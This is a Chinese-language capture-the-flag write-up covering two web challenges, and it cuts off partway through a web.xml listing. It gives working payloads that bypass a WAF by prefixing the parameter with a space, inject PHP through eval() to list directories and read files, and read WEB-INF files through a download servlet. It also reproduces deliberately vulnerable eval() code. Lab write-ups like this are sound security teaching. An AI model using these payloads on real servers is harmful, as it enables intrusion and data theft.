Web
Easy Calc
页面源码线索中得到calc.php
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
} ?>
需要上传一个num的参数值,然后经过正则过滤之后输出我们上传的num的值的执行结果。
我们可以使用分号;来使num为多个语句,从而执行多条语句,关键是我们怎么传递这个num的值,而且在页面源码中告诉我们网站上了WAF
我们并不能从网页中得到flag在哪里,就算利用成功可以读取文件,也要先知道flag在哪,所以要先利用scandir("/")来读取一下文件
由于正则中过滤了引号,所以我们利用的时候要进行一下字符转换:num=1;var_dump(scandir(chr(47)))
但是这样并不能成功,那就可能是waf的问题了,waf毫无疑问也是用php写的了。
这个绕过只需要在传参的时候在num参数签名添加空格即可,也就是参数“num”变成了“ num”,因为php解析的时候会去除参数前面的空格,但是waf对url分析的时候可能不会去掉空格
calc.php? num=1;var_dump(scandir(chr(47)))
读取到存在f1agg文件
calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
读取出flag内容
Easy Java
进去页面是个登录界面,help可以进入文档下载界面,但是显示:java.io.FileNotFoundException:{help.docx}
修改成POST请求尝试,发现可以下载到help.docx文件,虽然这个文件没啥用,但是给了一个文件包含的漏洞
但是此时悲催的是仍然不知道flag在哪个文件里,那就尝试读取一下 /WEB-INF/web.xml文件,这个是Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
(从题目提示java网站以及网站错误得到的Tomcat中间件得到/WEB-INF为安全配置目录)
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<welcome-file-list>
<welcome-file>Index</welcome-file>
</welcome-file-list>
<servlet>
<servlet-name>IndexController</servlet-name>
<servlet-class>com.wm.ctf.IndexController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>IndexController</servlet-name>
<url-pattern>/Index</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>LoginController</servlet-name>
<servlet-class>com.wm.ctf.LoginController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>LoginController</servlet-name>